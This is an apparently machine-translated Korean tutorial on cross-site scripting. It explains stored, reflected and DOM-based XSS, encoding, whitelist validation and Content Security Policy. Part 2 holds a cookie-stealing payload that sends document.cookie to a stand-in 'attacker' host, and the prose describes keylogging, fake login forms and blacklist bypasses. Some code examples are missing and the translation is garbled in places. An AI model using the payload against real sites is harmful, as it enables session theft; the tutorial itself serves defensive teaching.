수동적 xss. 쉬운 해킹: 크로스 사이트 스크립팅 포함을 통해 데이터를 추출하는 방법

크로스 사이트 스크립팅에 대한 포괄적인 튜토리얼입니다.

1부: 개요 XSS란 무엇입니까?

교차 사이트 스크립팅( 영어 크로스 사이트 스크립팅)은 공격자가 다른 사용자의 브라우저에서 악성 JavaScript를 실행할 수 있도록 하는 코드 주입 공격입니다.

공격자는 피해자를 직접 공격하지 않습니다. 대신 피해자가 방문하는 웹사이트의 취약점을 악용해 악성 자바스크립트 코드를 주입한다. 피해자의 브라우저에서는 악성 자바스크립트가 웹사이트의 합법적인 부분으로 나타나며, 웹사이트 자체가 공격자의 직접적인 공범자 역할을 합니다.

악성 자바스크립트 코드 삽입

공격자가 피해자의 브라우저에서 악성 JavaScript를 실행하는 유일한 방법은 피해자가 웹 사이트에서 로드하는 페이지 중 하나에 이를 삽입하는 것입니다. 이는 웹사이트에서 사용자가 해당 페이지에 데이터를 입력할 수 있도록 허용하고 공격자가 피해자의 브라우저에서 코드의 일부로 감지될 문자열을 삽입할 수 있는 경우에 가능합니다.

아래 예는 사이트에 최신 댓글을 표시하는 데 사용되는 간단한 서버 측 스크립트를 보여줍니다.

인쇄 ""
"마지막 댓글:"을 인쇄하세요.
데이터베이스.최신댓글 인쇄
인쇄 ""

스크립트에서는 주석이 텍스트로만 구성되어 있다고 가정합니다. 그러나 직접적인 사용자 입력이 활성화되어 있으므로 공격자가 "..."라는 코멘트를 남길 수 있습니다. 이제 페이지를 방문하는 모든 사용자는 다음과 같은 응답을 받게 됩니다.

마지막 댓글:
...

사용자의 브라우저가 페이지를 로드하면 . 공격자는 공격을 성공적으로 수행했습니다.

악성 자바스크립트란 무엇인가요?

피해자의 브라우저에서 JavaScript를 실행하는 기능은 특별히 악의적인 것처럼 보이지 않을 수 있습니다. JavaScript는 매우 제한된 환경에서 실행됩니다. 제한된 액세스사용자 파일에 운영 체제. 실제로, 지금 당장 브라우저에서 JavaScript 콘솔을 열고 원하는 JavaScript를 실행할 수 있으며, 컴퓨터에 해를 끼칠 가능성은 거의 없습니다.

그러나 다음 사실을 고려하면 JavaScript 코드가 악성 코드로 작용할 가능성이 더욱 분명해집니다.

JavaScript는 쿠키와 같은 일부 민감한 사용자 정보에 액세스할 수 있습니다.
JavaScript는 XMLHttpRequest 및 기타 메커니즘을 사용하여 임의의 콘텐츠가 포함된 HTTP 요청을 어떤 방향으로든 보낼 수 있습니다.
JavaScript는 HTML 코드를 임의로 변경할 수 있습니다. 현재 페이지 DOM 조작 기술을 사용합니다.

이러한 사실이 결합되면 매우 심각한 안전 위반이 발생할 수 있습니다. 자세한 내용은 다음과 같습니다.

악성 JavaScript 코드의 결과

또한, 다른 사용자의 브라우저에서 임의의 JavaScript를 실행할 수 있는 기능을 통해 공격자는 다음과 같은 유형의 공격을 수행할 수 있습니다.

쿠키 도난

공격자는 document.cookie 를 사용하여 피해자의 웹사이트 관련 쿠키에 접근하고 이를 자신의 서버로 보낸 후 이를 사용하여 세션 ID와 같은 민감한 정보를 추출할 수 있습니다.

키로거

공격자는 addEventListener를 사용하여 키보드 이벤트 리스너를 등록한 다음 사용자의 모든 키 입력을 서버로 보내 암호, 신용 카드 번호와 같은 민감한 정보를 잠재적으로 기록할 수 있습니다.

피싱

공격자는 DOM 조작을 사용하여 페이지에 가짜 로그인 양식을 삽입하고 양식의 작업 속성을 자체 서버로 설정한 다음 사용자를 속여 중요한 정보를 얻을 수 있습니다.

이러한 공격은 크게 다르지만 모두 한 가지 중요한 유사점을 가지고 있습니다. 즉, 공격자가 웹 사이트에서 제공하는 페이지에 코드를 삽입하기 때문에 악성 JavaScript가 해당 웹 사이트의 컨텍스트에서 실행됩니다. 이는 해당 사이트의 다른 스크립트처럼 취급된다는 의미입니다. 즉, 해당 웹사이트의 피해자 데이터(예: 쿠키)에 접근할 수 있으며 URL 표시줄에 표시되는 호스트 이름은 웹사이트의 호스트 이름과 동일합니다. 모든 목적에 있어서 스크립트는 웹사이트의 합법적인 부분으로 간주되어 웹사이트 자체에서 수행할 수 있는 모든 작업을 수행할 수 있습니다.

이 사실은 중요한 문제를 강조합니다.

공격자가 귀하의 웹사이트를 사용하여 다른 사용자의 브라우저에서 임의의 JavaScript 코드를 실행할 수 있는 경우 귀하의 웹사이트와 해당 사용자의 보안이 손상됩니다.

이 점을 강조하기 위해 이 튜토리얼의 일부 악성 스크립트 예제는 다음을 사용하여 자세히 설명하지 않습니다.... 이는 실제로 어떤 특정 스크립트 코드가 실행되고 있는지에 관계없이 공격자가 삽입하는 스크립트의 존재만으로도 문제가 된다는 것을 의미합니다.

2부: XSS 공격 XSS 공격 참가자

XSS 공격이 어떻게 작동하는지 자세히 설명하기 전에 XSS 공격과 관련된 행위자를 식별해야 합니다. 일반적으로 XSS 공격에는 웹사이트, 피해자, 공격자의 세 당사자가 있습니다.

웹사이트는 요청한 사용자에게 HTML 페이지를 제공합니다. 우리의 예에서는 http://website/에 있습니다.
- 웹사이트 데이터베이스는 사용자가 사이트 페이지에 입력한 데이터 중 일부를 저장하는 데이터베이스입니다.
피해자는 브라우저를 사용하여 페이지를 요청하는 웹사이트의 일반 사용자입니다.
공격자는 웹사이트의 XSS 취약점을 악용하여 피해자를 공격하려는 공격자입니다.
- 공격자 서버는 공격자가 피해자의 기밀 정보를 훔칠 목적으로만 제어하는 웹 서버입니다. 우리의 예에서는 http://attacker/에 있습니다.

공격 시나리오 예시

window.location="http://attacker/?cookie="+document.cookie

이 스크립트는 다른 URL에 대한 HTTP 요청을 생성하여 사용자의 브라우저를 공격자의 서버로 리디렉션합니다. URL에는 요청 매개변수로 피해자의 쿠키가 포함되어 있으며, 공격자의 서버에 HTTP 요청이 오면 공격자는 요청에서 이러한 쿠키를 추출할 수 있습니다. 공격자가 쿠키를 수신하면 이를 사용하여 피해자를 가장하고 후속 공격을 시작할 수 있습니다.

이제부터 위에 표시된 HTML 코드를 악성 문자열 또는 악성 스크립트라고 부르겠습니다. 문자열 자체는 궁극적으로 피해자의 브라우저에서 HTML로 렌더링되는 경우에만 악성이며 이는 웹 사이트에 XSS 취약점이 있는 경우에만 발생할 수 있다는 점을 이해하는 것이 중요합니다.

이 예시 공격의 작동 방식

아래 다이어그램은 공격자의 공격 예를 보여줍니다.

공격자는 웹사이트의 양식 중 하나를 사용하여 웹사이트의 데이터베이스에 악성 문자열을 삽입합니다.

피해자는 웹사이트에서 페이지를 요청합니다.

사이트는 응답에 악성 데이터베이스 문자열을 포함하여 피해자에게 보냅니다.

피해자의 브라우저는 응답 내에서 악성 스크립트를 실행하여 피해자의 쿠키를 공격자의 서버로 보냅니다.

XSS 유형

XSS 공격의 목표는 항상 악의적인 공격을 수행하는 것입니다. 자바스크립트 스크립트피해자의 브라우저에서. 이 목표를 달성하는 데는 근본적으로 다른 여러 가지 방법이 있습니다. XSS 공격은 종종 세 가지 유형으로 나뉩니다.

저장된(영구) XSS. 악성 문자열은 웹 사이트의 데이터베이스에서 유래됩니다.
반사된(비지속적) XSS, 여기서 악성 문자열은 피해자의 요청에서 생성됩니다.
서버 측 코드가 아닌 클라이언트 측 코드에서 취약점이 발생하는 XSS DOM.

이전 예에서는 저장된 XSS 공격을 보여줍니다. 이제 반사 XSS 공격과 DOM XSS 공격이라는 두 가지 다른 유형의 XSS 공격에 대해 설명하겠습니다.

반사된 XSS

반사된 XSS 공격에서 악성 문자열은 피해자가 웹사이트에 요청하는 부분의 일부입니다. 사이트는 이 악성 문자열을 수락하고 사용자에게 다시 전송되는 응답에 삽입합니다. 아래 다이어그램은 이 시나리오를 보여줍니다.

피해자는 공격자를 속여 웹사이트에 URL 요청을 보내게 합니다.

해당 사이트에는 피해자에 대한 응답으로 URL 요청의 악성 문자열이 포함되어 있습니다.

피해자의 브라우저는 응답에 포함된 악성 스크립트를 실행하여 피해자의 쿠키를 공격자의 서버로 보냅니다.

반사 XSS 공격을 성공적으로 수행하는 방법은 무엇입니까?

반사된 XSS 공격은 피해자가 악의적인 문자열이 포함된 요청을 대신 보내도록 요구하기 때문에 무해해 보일 수 있습니다. 누구도 자발적으로 자신을 공격하지 않기 때문에 실제로 공격을 감행할 방법은 없어 보인다.

밝혀진 바와 같이 피해자가 자신에 대해 반사 XSS 공격을 시작하도록 하는 데는 최소한 두 가지 일반적인 방법이 있습니다.

사용자가 특정 개인인 경우, 공격자는 피해자에게 악성 URL을 보낼 수 있습니다(예: 이메일또는 메신저) 그를 속여 웹사이트를 방문할 수 있는 링크를 열도록 합니다.
대상이 대규모 사용자 그룹인 경우 공격자는 악의적인 URL(예: 자신의 웹 사이트 또는 소셜 네트워크)에 대한 링크를 게시하고 방문자가 링크를 클릭할 때까지 기다릴 수 있습니다.

이 두 가지 방법은 모두 유사하며, 이를 식별할 수 있는 사용자로부터 악성 문자열을 마스킹하는 URL 단축 서비스를 사용하면 더 성공적일 수 있습니다.

DOM의 XSS

DOM의 XSS는 저장 및 반사 XSS 공격의 변형입니다. 이 XSS 공격에서는 웹사이트의 실제 JavaScript가 실행될 때까지 피해자의 브라우저에서 악성 문자열이 처리되지 않습니다. 아래 다이어그램은 반사된 XSS 공격에 대한 시나리오를 보여줍니다.

공격자는 악성 문자열이 포함된 URL을 생성하여 피해자에게 보냅니다.

피해자는 공격자를 속여 웹사이트에 URL 요청을 보내게 합니다.

사이트는 요청을 수락하지만 응답에 악성 문자열을 포함하지 않습니다.

피해자의 브라우저는 응답에 포함된 합법적인 스크립트를 실행하여 악성 스크립트가 페이지에 삽입되도록 합니다.

피해자의 브라우저는 페이지에 삽입된 악성 스크립트를 실행하여 피해자의 쿠키를 공격자의 서버로 보냅니다.

DOM에서 XSS의 차이점은 무엇입니까?

저장 및 반영된 XSS 공격의 이전 예에서 서버는 페이지에 악성 스크립트를 삽입한 다음 응답으로 피해자에게 전달됩니다. 피해자의 브라우저가 응답을 받으면 악성 스크립트가 페이지의 합법적인 콘텐츠의 일부라고 가정하고 다른 스크립트와 마찬가지로 페이지가 로드되는 동안 자동으로 이를 실행합니다.

DOM의 XSS 공격 예에서 악성 스크립트는 페이지의 일부로 삽입되지 않습니다. 페이지가 로드되는 동안 자동으로 실행되는 유일한 스크립트는 페이지의 합법적인 부분입니다. 문제는 이 합법적인 스크립트가 사용자 입력을 직접 사용하여 페이지에 HTML을 추가한다는 것입니다. innerHTML 을 사용하여 페이지에 악성 문자열을 삽입하므로 HTML로 파싱되어 악성 스크립트가 실행됩니다.

이 차이는 작지만 매우 중요합니다.

기존 XSS에서는 페이지가 로드될 때 서버에서 보낸 HTML의 일부로 악성 JavaScript가 실행됩니다.
DOM의 XSS의 경우 페이지가 로드된 후 악성 JavaScript가 실행되어 합법적인 JavaScript 페이지가 안전하지 않은 방식으로 사용자 입력(악성 문자열 포함)에 액세스하게 됩니다.

XSS는 DOM에서 어떻게 작동하나요?

이전 예에서는 JavaScript가 필요하지 않습니다. 서버는 모든 HTML을 자체적으로 생성할 수 있습니다. 서버 측 코드에 취약점이 포함되어 있지 않으면 웹 사이트는 XSS 취약점에 취약하지 않습니다.

그러나 웹 애플리케이션이 더욱 발전함에 따라 모든 많은 분량 HTML 페이지는 서버가 아닌 클라이언트 측에서 JavaScript를 사용하여 생성됩니다. 전체 페이지를 새로 고치지 않고도 언제든지 콘텐츠를 변경할 수 있습니다. 자바스크립트를 사용하여. 특히 AJAX 요청 후 페이지를 새로 고치는 경우가 그렇습니다.

이는 XSS 취약점이 사이트의 서버 측 코드뿐만 아니라 사이트의 클라이언트 측 JavaScript 코드에도 존재할 수 있음을 의미합니다. 그러므로 완전히 사용하더라도 안전 코드서버 측에서는 페이지가 로드된 후 DOM을 업데이트할 때 클라이언트 코드가 사용자 입력을 안전하게 포함하지 못할 수 있습니다. 이런 일이 발생하면 클라이언트 측 코드는 서버 측 코드의 결함 없이 XSS 공격이 발생하도록 허용합니다.

DOM 기반 XSS는 서버에 표시되지 않을 수 있습니다.

악성 문자열이 웹 사이트 서버로 전송되지 않는 DOM에는 XSS 공격의 특별한 경우가 있습니다. 이는 악성 문자열이 URL 식별자 조각(# 기호 뒤의 모든 것)에 포함되어 있을 때 발생합니다. 브라우저는 URL의 이 부분을 서버로 보내지 않으므로 웹사이트는 서버측 코드를 사용하여 해당 부분에 액세스할 수 없습니다. 그러나 클라이언트 측 코드에서는 이에 접근할 수 있으므로 안전하지 않은 처리를 통해 XSS 공격을 수행할 수 있습니다.

이 경우는 조각 ID에만 국한되지 않습니다. LocalStorage 및 IndexedDB와 같은 새로운 HTML5 기능과 같이 서버에 보이지 않는 다른 사용자 입력이 있습니다.

3부:
XSS 예방 XSS 예방 기술

XSS는 코드 주입 공격입니다. 사용자 입력이 악의적인 것으로 잘못 해석됩니다. 프로그램 코드. 이러한 유형의 코드 삽입을 방지하려면 보안 입력 처리가 필요합니다. 웹 개발자에게는 기본적으로 두 가지가 있습니다. 다른 방법들보안 입력 처리를 수행합니다.

인코딩은 사용자가 데이터를 데이터로만 입력할 수 있도록 하고, 브라우저에서는 이를 코드로 처리할 수 없도록 하는 방식입니다.
유효성 검사는 브라우저가 악의적인 명령 없이 코드로 해석하도록 사용자 입력을 필터링하는 방법입니다.

이는 근본적으로 다른 XSS 완화 방법이지만 둘 중 하나를 사용할 때 이해해야 하는 몇 가지 공통 기능을 공유합니다.

컨텍스트 보안 입력 처리는 페이지에서 사용자 입력이 사용되는 위치에 따라 다르게 수행되어야 합니다. 인바운드/아웃바운드 안전한 입력 처리는 사이트가 입력을 수신할 때(인바운드 트래픽) 또는 사이트가 사용자 입력을 페이지 콘텐츠에 삽입하기 직전(아웃바운드)에 수행될 수 있습니다. 클라이언트/서버 보안 입력 처리는 클라이언트 측이나 서버 측에서 수행될 수 있으며, 각 옵션은 다양한 상황에서 필요합니다.

코딩 및 유효성 검사가 어떻게 작동하는지 자세히 설명하기 전에 이러한 각 사항에 대해 설명하겠습니다.

컨텍스트에서 사용자 입력 처리

웹 페이지에는 사용자 입력을 적용할 수 있는 컨텍스트가 많이 있습니다. 각각에 대해 사용자 입력이 해당 컨텍스트를 벗어날 수 없고 악성 코드로 해석될 수 없도록 특수 규칙을 따라야 합니다. 다음은 가장 일반적인 상황입니다.

맥락이 왜 중요한가요?

설명된 모든 컨텍스트에서 첫 번째 인코딩 또는 유효성 검사 전에 사용자 입력이 삽입되면 XSS 취약점이 발생할 수 있습니다. 공격자는 이 컨텍스트에 대한 닫는 구분 기호와 악성 코드를 삽입하기만 하면 악성 코드를 삽입할 수 있습니다.

예를 들어, 어떤 시점에 웹 사이트의 HTML 속성에 직접 사용자 입력이 포함되어 있는 경우 공격자는 아래와 같이 입력을 따옴표로 시작하여 악성 스크립트를 주입할 수 있습니다.

이는 사용자 입력에서 모든 따옴표를 간단히 제거함으로써 방지할 수 있으며 모든 것이 괜찮을 것입니다. 그러나 이 컨텍스트에서만 가능합니다. 입력이 다른 컨텍스트에 삽입된 경우 닫는 구분 기호가 달라지며 삽입이 가능합니다. 이러한 이유로 보안 입력 처리는 항상 사용자 입력이 삽입되는 상황에 맞게 조정되어야 합니다.

들어오고 나가는 사용자 입력 처리

본능적으로 우리 사이트가 사용자 입력을 수신하는 즉시 모든 사용자 입력을 인코딩하거나 검증함으로써 XSS를 방지할 수 있는 것처럼 보입니다. 이렇게 하면 모든 악성 문자열이 페이지에 포함될 때마다 이미 무력화되며 HTML 생성 스크립트는 사용자 입력을 안전하게 처리하는 것에 대해 걱정할 필요가 없습니다.

문제는 앞에서 설명한 것처럼 사용자 입력이 페이지의 여러 컨텍스트에 삽입될 수 있다는 것입니다. 그리고 아니 간단한 방법사용자 입력이 컨텍스트에 도착하는 시기, 즉 궁극적으로 어떻게 삽입될지 결정하고, 동일한 사용자 입력이 종종 다른 컨텍스트에 삽입되어야 하는 경우가 있습니다. XSS를 방지하기 위해 들어오는 입력 처리에 의존함으로써 우리는 오류가 발생하기 쉬운 매우 불안정한 솔루션을 만들고 있습니다. (레거시 PHP "마법의 인용문"이 그러한 솔루션의 예입니다.)

대신, 나가는 입력 처리는 삽입될 사용자 입력의 특정 컨텍스트를 고려할 수 있으므로 XSS에 대한 기본 방어선이 되어야 합니다. 어느 정도 인바운드 검증을 사용하여 보조 보안 계층을 추가할 수 있지만 이에 대해서는 나중에 더 자세히 설명합니다.

사용자 입력을 안전하게 처리할 수 있는 곳은 어디입니까?

대부분의 최신 웹 애플리케이션에서 사용자 입력은 서버 측과 클라이언트 측 모두에서 처리됩니다. 모든 유형의 XSS로부터 보호하려면 서버측 코드와 클라이언트측 코드 모두에서 보안 입력 처리를 수행해야 합니다.

기존 XSS로부터 보호하려면 서버측 코드에서 보안 입력 처리를 수행해야 합니다. 이는 서버에서 지원하는 일부 언어를 사용하여 수행됩니다.
서버가 악의적인 문자열(예: 앞서 설명한 식별자 조각 공격)을 수신하지 않는 DOM에서 XSS 공격으로부터 보호하려면 클라이언트 측 코드에서 보안 입력 처리를 수행해야 합니다. 이는 JavaScript를 사용하여 수행됩니다.

이제 컨텍스트가 중요한 이유, 들어오는 입력 처리와 나가는 입력 처리의 구별이 중요한 이유, 보안 입력 처리가 클라이언트 측과 서버 측 양쪽에서 수행되어야 하는 이유를 설명했으므로 계속해서 설명할 수 있습니다. 유형의 보안 입력 처리(인코딩 및 유효성 검사)가 실제로 수행됩니다.

코딩

코딩은 브라우저가 사용자 입력을 코드가 아닌 데이터로만 해석해야 하는 상황에서 벗어나는 방법입니다. 웹 개발에서 가장 널리 사용되는 코딩 유형은 HTML 마스킹으로, 다음과 같은 문자를 변환합니다.< и >V< и >각기.

다음 의사 코드는 HTML 마스킹을 사용하여 사용자 입력(사용자 입력)을 인코딩한 다음 서버측 스크립트를 사용하여 페이지에 삽입할 수 있는 방법의 예입니다.

인쇄 ""
"마지막 댓글: "을 인쇄하세요.
encodeHtml(userInput) 인쇄
인쇄 ""

사용자가 다음 줄을 입력하면... 결과 HTML은 다음과 같습니다.

마지막 댓글:
...

특별한 의미가 있는 문자는 모두 이스케이프 처리되었기 때문에 브라우저는 HTML과 같은 사용자 입력의 어떤 부분도 구문 분석하지 않습니다.

클라이언트 및 서버 측 코드 코딩

클라이언트 측 인코딩을 수행할 때 다양한 컨텍스트에 대한 데이터를 인코딩하는 기능이 내장된 JavaScript가 항상 사용됩니다.

서버측 코드에서 코딩을 수행할 때 언어나 프레임워크에서 사용할 수 있는 기능에 의존합니다. 사용할 수 있는 언어와 프레임워크가 많기 때문에 지도 시간특정 서버 언어나 프레임워크의 코딩에 대한 세부 사항은 다루지 않습니다. 그러나 클라이언트 측에서 사용되는 JavaScript 코딩 기능은 서버 측 코드 작성 시에도 사용됩니다.

클라이언트 측 코딩

JavaScript를 사용하여 클라이언트 측 사용자 입력을 인코딩할 때 상황에 맞는 스타일로 모든 데이터를 자동으로 인코딩하는 몇 가지 내장 메서드와 속성이 있습니다.

위에서 이미 언급한 마지막 컨텍스트(JavaScript의 값)는 이 목록에 포함되지 않습니다. 왜냐하면 JavaScript는 포함될 데이터를 인코딩하는 내장 방법을 제공하지 않기 때문입니다. 원천자바스크립트.

인코딩 제한

코딩할 때에도 일부 상황에서는 악성 문자열을 사용할 수 있습니다. 이에 대한 명확한 예는 아래 예와 같이 사용자 입력을 사용하여 URL을 제공하는 경우입니다.

document.querySelector("a").href = userInput

요소의 href 속성에 값을 지정하면 해당 요소가 속성 값에 지나지 않도록 자동으로 인코딩되지만, 이 자체만으로는 공격자가 "javascript:"로 시작하는 URL을 삽입하는 것을 방지할 수 없습니다. 링크를 클릭하면 구성에 관계없이 URL에 포함된 JavaScript가 실행됩니다.

사용자가 페이지에서 일부 HTML 코드를 사용할 수 있도록 하려는 경우에도 코딩은 효과적인 솔루션이 아닙니다. 사용자가 사용자 정의 HTML을 사용할 수 있는 사용자 프로필 페이지를 예로 들 수 있습니다. 이 일반 HTML이 인코딩되면 프로필 페이지는 일반 텍스트로만 구성될 수 있습니다.

이러한 상황에서는 코딩을 검증으로 보완해야 하며 이에 대해서는 나중에 살펴보겠습니다.

확인

유효성 검사는 사용자 입력을 필터링하여 모든 코드를 제거하지 않고도 모든 악성 부분을 제거하는 작업입니다. 웹 개발에서 가장 많이 사용되는 유효성 검사 유형 중 하나를 사용하면 일부 HTML 요소(예: 및 )를 사용하고 다른 요소(예: )는 비활성화할 수 있습니다.

구현 방식이 다른 두 가지 주요 특징 검사가 있습니다.

분류 전략 사용자 입력은 블랙리스트 또는 화이트리스트를 사용하여 분류될 수 있습니다. 검증 결과 악성으로 식별된 사용자 입력은 거부되거나 삭제될 수 있습니다.

분류 전략 블랙리스트

본능적으로는 사용자 입력에 나타나지 않아야 하는 금지 패턴을 정의하여 검사를 수행하는 것이 적절해 보입니다. 행이 이 패턴과 일치하면 유효하지 않은 것으로 표시됩니다. 예를 들어 사용자가 javascript: 를 제외한 모든 프로토콜을 사용하여 맞춤 URL을 제출할 수 있도록 허용합니다. 이 분류 전략을 블랙리스트.

그러나 블랙리스트에는 두 가지 주요 단점이 있습니다.

가능한 모든 악성 문자열 집합을 정확하게 설명하는 것은 일반적으로 매우 어려운 작업입니다. 위에 설명된 예제 정책은 "Javascript:"(첫 번째 문자가 대문자인 경우) 및 "javascript:"(첫 번째 문자가 숫자로 인코딩된 경우)와 같은 문자열이 누락되므로 단순히 "javascript" 하위 문자열을 검색하는 것만으로는 성공적으로 구현할 수 없습니다. 성격 참조). Deprecation 완벽한 블랙리스트가 개발되더라도 브라우저에 추가된 새로운 기능이 공격에 사용될 수 있다면 무용지물이 될 것입니다. 예를 들어 HTML5에 onmousewheel 속성이 도입되기 전에 HTML 유효성 검사 블랙리스트가 개발된 경우 공격자가 이 속성을 사용하여 XSS 공격을 수행하는 것을 막을 수 없습니다. 이러한 단점은 지속적으로 업데이트되는 다양한 기술로 구성된 웹 개발에서 특히 중요합니다.

이러한 단점 때문에 블랙리스트 작성은 분류 전략으로 권장되지 않습니다. 화이트리스트 작성은 일반적으로 훨씬 더 안전한 접근 방식입니다. 이에 대해서는 다음에 설명하겠습니다.

바람직한 것의 리스트

바람직한 것의 리스트본질적으로 블랙리스트와 반대입니다. 금지된 패턴을 정의하는 대신 접근 방식은 화이트리스트허용되는 패턴을 결정하고 입력이 잘못된 경우 입력을 유효하지 않은 것으로 표시합니다. 일치하지 않습니다이 템플릿.

블랙리스트와 달리 화이트리스트의 예로는 사용자가 http: 및 https: 프로토콜만 포함하는 사용자 정의 URL을 제출할 수 있도록 허용하는 것입니다. 이 접근 방식을 사용하면 "Javascript:" 또는 "javascript:"로 표시되는 경우에도 javascript: 프로토콜이 포함된 URL이 자동으로 유효하지 않은 것으로 표시됩니다.

블랙리스트와 비교하여 화이트리스트에는 두 가지 주요 장점이 있습니다.

단순성 양성 문자열 집합을 정확하게 설명하는 것은 일반적으로 모든 악성 문자열 집합을 식별하는 것보다 훨씬 쉽습니다. 이는 사용자 입력이 매우 제한된 세트를 포함해야 하는 일반적인 상황에 특히 적용 가능합니다. 기능성브라우저에서 사용 가능합니다. 예를 들어 위에 설명된 화이트리스트는 HTTP: 또는 https: 프로토콜이 허용되는 경우에만 URL을 사용할 수 있도록 매우 간단하게 허용하며 대부분의 경우 이는 사용자에게 충분합니다. 내구성 블랙리스트와 달리 화이트리스트는 일반적으로 다음과 같은 경우에도 쓸모 없게 되지 않습니다. 새로운 기능브라우저에 추가되었습니다. 예를 들어 HTML 화이트리스트 유효성 검사를 사용하면 HTML5 onmousewheel 속성이 도입되기 전에 디자인된 화이트리스트라도 HTML 요소의 제목 속성만 안전하게 유지됩니다.

검증 결과

사용자 입력이 유효하지 않은(금지됨) 것으로 표시되면 다음 두 가지 조치 중 하나를 취할 수 있습니다.

입력 거부는 단순히 거부되어 사이트의 다른 곳에서 사용되는 것을 방지하는 것입니다. 입력 데이터의 유효하지 않은 부분을 모두 삭제하고 나머지 입력은 평소와 같이 웹사이트에서 사용됩니다.

두 가지 중 편향은 구현하기 가장 간단한 접근 방식입니다. 그러나 소독은 사용자에게 더 넓은 범위의 입력을 제공하기 때문에 더 유용한 것으로 간주됩니다. 예를 들어, 사용자가 전화번호를 보내는 경우 신용 카드를 삭제하면 문자가 아닌 모든 항목이 제거되고 코드 삽입이 방지되며 사용자가 하이픈 유무에 관계없이 숫자를 입력할 수도 있습니다.

치료를 구현하기로 결정한 경우 치료 절차 자체에서 블랙리스트 접근 방식을 사용하지 않도록 해야 합니다. 예를 들어, "Javascript:..." URL은 화이트리스트를 사용하여 유효하지 않은 것으로 식별된 경우에도 "javascript:"의 모든 인스턴스를 제거하는 삭제 우회 루틴을 수신하게 됩니다. 이러한 이유로 잘 테스트된 라이브러리와 프레임워크는 가능할 때마다 삭제를 사용해야 합니다.

예방을 위해 어떤 방법을 사용해야 합니까?

인코딩은 XSS 공격에 대한 첫 번째 방어선이어야 하며, 인코딩의 목적은 브라우저가 사용자 입력을 코드로 해석할 수 없는 방식으로 데이터를 처리하는 것입니다. 어떤 경우에는 검증을 통해 코딩을 보완해야 합니다. 인코딩 및 유효성 검사는 나가는 트래픽에 적용되어야 합니다. 그래야만 사용자 입력이 적용될 컨텍스트와 적용해야 하는 인코딩 및 유효성 검사를 알 수 있기 때문입니다.

두 번째 방어선으로 javascript: 프로토콜을 사용하여 수신 데이터 삭제를 적용하거나 링크와 같이 명백히 유효하지 않은 사용자 입력을 거부해야 합니다. 이는 그 자체로는 완전한 보안을 제공할 수 없지만 잘못된 실행으로 인해 코딩 및 유효성 검사 보호의 특정 지점이 실패할 수 있는 경우 유용한 예방 조치입니다.

이 두 가지 방어선을 일관되게 사용하면 사이트가 XSS 공격으로부터 보호됩니다. 그러나 웹사이트를 제작하고 유지하는 과정의 복잡성으로 인해 안전한 사용자 입력 처리만으로 완전한 보안을 제공하는 것은 어려울 수 있습니다. 세 번째 방어선으로 콘텐츠 보안 정책( 영어 콘텐츠 보안 정책), CSP에 대해 설명하겠습니다.

콘텐츠 보안 정책(CSP)

XSS 공격으로부터 보호하기 위해 안전한 사용자 입력 처리만 사용하는 것만으로는 충분하지 않습니다. 단 한 번의 보안 실수라도 웹 사이트를 손상시킬 수 있기 때문입니다. 새로운 웹 표준에서 콘텐츠 보안 정책(CSP)을 채택하면 이러한 위험을 줄일 수 있습니다.

CSP는 신뢰할 수 있는 소스에서 다운로드한 리소스만 사용할 수 있도록 브라우저의 웹 페이지 사용을 제한하는 데 사용됩니다. ㅏ 자원스크립트, 스타일 시트, 이미지 또는 페이지에서 참조되는 기타 유형의 파일입니다. 즉, 공격자가 사이트에 악성 콘텐츠를 삽입하더라도 CSP는 해당 콘텐츠가 실행되는 것을 방지할 수 있습니다.

CSP를 사용하여 다음 규칙을 적용할 수 있습니다.

신뢰할 수 없는 소스 금지 외부 리소스는 명확하게 정의된 신뢰할 수 있는 소스 세트에서만 다운로드할 수 있습니다. 포함된 리소스를 허용하지 않으면 인라인 JavaScript 및 CSS가 고려되지 않습니다. eval을 비활성화하면 JavaScript에서 eval 함수를 사용할 수 없습니다.

CSP 작동 중

다음 예에서는 공격자가 웹 페이지에 악성 코드를 삽입하는 데 성공했습니다.

마지막 댓글:

올바르게 정의된 CSP 정책을 사용하면 http://attacker/가 신뢰할 수 있는 소스로 지정되지 않았기 때문에 브라우저가 악성 스크립트.js를 다운로드하고 실행할 수 없습니다. 이 경우 사이트가 사용자 입력을 안정적으로 처리하지 못했음에도 불구하고 CSP의 정책은 취약점으로 인해 피해가 발생하는 것을 방지했습니다.

공격자가 외부 파일에 대한 링크가 아닌 스크립트 코드 내부에 코드를 주입하더라도 적절하게 구성된 CSP 정책은 JavaScript 코드에 대한 주입을 방지하여 취약점을 방지하고 피해를 입힐 수 있습니다.

CSP를 활성화하는 방법은 무엇입니까?

기본적으로 브라우저는 CSP를 사용하지 않습니다. 웹사이트에서 SCP를 활성화하려면 페이지에 추가 HTTP 헤더(Content‑Security‑Policy)가 포함되어 있어야 합니다. 이 헤더가 포함된 모든 페이지는 브라우저가 CSP를 지원하는 경우 브라우저에서 로드할 때 보안 정책을 시행합니다.

보안 정책은 모든 HTTP 응답과 함께 전송되므로 서버가 각 페이지마다 개별적으로 정책을 설정할 수 있습니다. 모든 응답에 동일한 CSP 헤더를 삽입하면 전체 웹사이트에 동일한 정책을 적용할 수 있습니다.

Content‑Security‑Policy 헤더의 값에는 사이트에서 실행될 하나 이상의 보안 정책을 정의하는 문자열이 포함되어 있습니다. 이 줄의 구문은 아래에 설명되어 있습니다.

이 섹션의 제목 예에서는 쉽게 참조할 수 있도록 줄바꿈과 들여쓰기를 사용합니다. 실제 제목에 표시되어서는 안 됩니다.

CSP 구문

CSP 헤더 구문은 다음과 같습니다.

콘텐츠 보안 정책:
지령 소스 표현, 소스 표현, ...;
지령 ...;
...

이 구문은 다음 두 가지 요소로 구성됩니다.

지시문은 주어진 목록에서 가져온 리소스 유형을 나타내는 문자열입니다.
소스 표현식은 리소스를 로드할 수 있는 하나 이상의 서버를 설명하는 모델입니다.

각 지시문에 대해 소스 표현식의 데이터는 해당 유형의 리소스를 로드하는 데 사용할 수 있는 소스를 지정합니다.

지시어

CSP 헤더에는 다음 지시문을 사용할 수 있습니다.

연결-src
글꼴-src
프레임-src
img-src
미디어-src
객체-src
스크립트-src
스타일-src

이 외에도 헤더에 포함되지 않은 모든 지시문에 대한 기본값을 제공하기 위해 특수 default-src 지시문을 사용할 수 있습니다.

소스 표현

소스 표현식을 생성하는 구문은 다음과 같습니다.

프로토콜:// 호스트 이름: 포트 번호

